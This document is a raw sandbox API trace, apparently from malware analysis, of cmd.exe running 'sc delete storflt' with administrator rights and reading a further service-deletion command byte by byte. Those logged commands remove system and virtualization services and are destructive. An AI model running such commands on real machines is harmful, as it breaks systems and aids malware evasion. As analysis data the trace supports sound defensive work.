_MaxCount=0x7) returned -13 [0073.168] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0073.168] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0073.168] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0073.168] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0073.168] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0073.168] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0073.168] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0073.168] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0073.168] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0073.168] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0073.168] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0073.169] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0073.169] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0073.169] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0073.169] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0073.169] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0073.169] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0073.169] GetProcessHeap () returned 0x240000 [0073.169] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0073.169] GetProcessHeap () returned 0x240000 [0073.169] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2598a0 [0073.169] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete storflt", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete storflt", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete storflt", lpProcessInformation=0x1af360*(hProcess=0x50, hThread=0x54, dwProcessId=0x8ac, dwThreadId=0x8bc)) returned 1 [0073.174] CloseHandle (hObject=0x54) returned 1 [0073.174] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0073.174] GetProcessHeap () returned 0x240000 [0073.174] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x258980 | out: hHeap=0x240000) returned 1 [0073.174] GetEnvironmentStringsW () returned 0x258980* [0073.174] GetProcessHeap () returned 0x240000 [0073.174] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0073.174] FreeEnvironmentStringsW (penv=0x258980) returned 1 [0073.174] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0073.174] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdf000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0073.175] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0073.376] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x0) returned 1 [0073.376] CloseHandle (hObject=0x50) returned 1 [0073.376] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000000") returned 8 [0073.376] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0073.376] GetProcessHeap () returned 0x240000 [0073.376] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0073.376] GetEnvironmentStringsW () returned 0x258980* [0073.376] GetProcessHeap () returned 0x240000 [0073.376] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0073.376] FreeEnvironmentStringsW (penv=0x258980) returned 1 [0073.377] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0073.377] GetProcessHeap () returned 0x240000 [0073.377] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0073.377] GetEnvironmentStringsW () returned 0x258980* [0073.377] GetProcessHeap () returned 0x240000 [0073.377] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0073.377] FreeEnvironmentStringsW (penv=0x258980) returned 1 [0073.377] GetProcessHeap () returned 0x240000 [0073.377] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2598a0 | out: hHeap=0x240000) returned 1 [0073.377] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0073.377] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0073.378] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.378] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0073.378] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.378] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0073.378] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.378] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0073.378] GetConsoleOutputCP () returned 0x1b5 [0073.378] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0073.379] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.379] GetProcessHeap () returned 0x240000 [0073.379] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0073.379] GetProcessHeap () returned 0x240000 [0073.379] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0073.379] GetProcessHeap () returned 0x240000 [0073.379] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259db0 | out: hHeap=0x240000) returned 1 [0073.379] GetProcessHeap () returned 0x240000 [0073.379] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0073.379] GetProcessHeap () returned 0x240000 [0073.379] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256550 | out: hHeap=0x240000) returned 1 [0073.379] GetProcessHeap () returned 0x240000 [0073.379] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0073.379] GetProcessHeap () returned 0x240000 [0073.379] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256510 | out: hHeap=0x240000) returned 1 [0073.379] GetProcessHeap () returned 0x240000 [0073.379] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x258900 | out: hHeap=0x240000) returned 1 [0073.379] GetProcessHeap () returned 0x240000 [0073.379] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2597e0 | out: hHeap=0x240000) returned 1 [0073.379] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0073.380] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.380] GetFileType (hFile=0x120) returned 0x3 [0073.380] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.380] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0073.380] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0073.380] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0073.380] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0073.380] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0073.380] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0073.380] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.380] GetFileType (hFile=0x120) returned 0x3 [0073.380] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.380] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0073.380] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0073.380] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.380] GetFileType (hFile=0xb8) returned 0x3 [0073.381] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.381] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.381] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.381] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete storflt\ntbeat\nface\n") returned 1 [0073.381] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.381] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.381] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.381] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete storflt\ntbeat\nface\n") returned 1 [0073.381] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.381] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.381] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.381] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete storflt\ntbeat\nface\n") returned 1 [0073.381] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.381] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.381] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.381] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete storflt\ntbeat\nface\n") returned 1 [0073.381] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.381] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.382] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.382] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete storflt\ntbeat\nface\n") returned 1 [0073.382] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.382] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.382] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.382] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete storflt\ntbeat\nface\n") returned 1 [0073.382] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.382] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.382] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.382] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete storflt\ntbeat\nface\n") returned 1 [0073.382] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.382] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.382] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.382] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te storflt\ntbeat\nface\n") returned 1 [0073.382] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.382] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.382] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.382] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e storflt\ntbeat\nface\n") returned 1 [0073.382] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.382] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.383] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.383] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" storflt\ntbeat\nface\n") returned 1 [0073.383] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.383] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.383] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.383] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="vtorflt\ntbeat\nface\n") returned 1 [0073.383] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.383] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.383] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.383] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="morflt\ntbeat\nface\n") returned 1 [0073.383] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.383] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.383] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.383] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="irflt\ntbeat\nface\n") returned 1 [0073.383] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.383] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.383] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.383] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="cflt\ntbeat\nface\n") returned 1 [0073.383] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.384] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.384] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.384] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="tlt\ntbeat\nface\n") returned 1 [0073.384] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.384] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.384] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.384] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="it\ntbeat\nface\n") returned 1 [0073.384] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.384] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.384] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.384] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="m\ntbeat\nface\n") returned 1 [0073.384] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.384] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.384] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.384] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="etbeat\nface\n") returned 1 [0073.384] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.384] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.384] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.385] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="sbeat\nface\n") returned 1 [0073.385] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.385] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.385] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.385] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="yeat\nface\n") returned 1 [0073.385] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.385] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.385] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.385] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="nat\nface\n") returned 1 [0073.385] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.385] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.386] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.386] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="ct\nface\n") returned 1 [0073.386] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.386] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.386] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.386] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34c, cchWideChar=1 | out: lpWideCharStr="\n\nface\n") returned 1 [0073.386] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.386] GetFileType (hFile=0xb8) returned 0x3 [0073.386] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.386] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 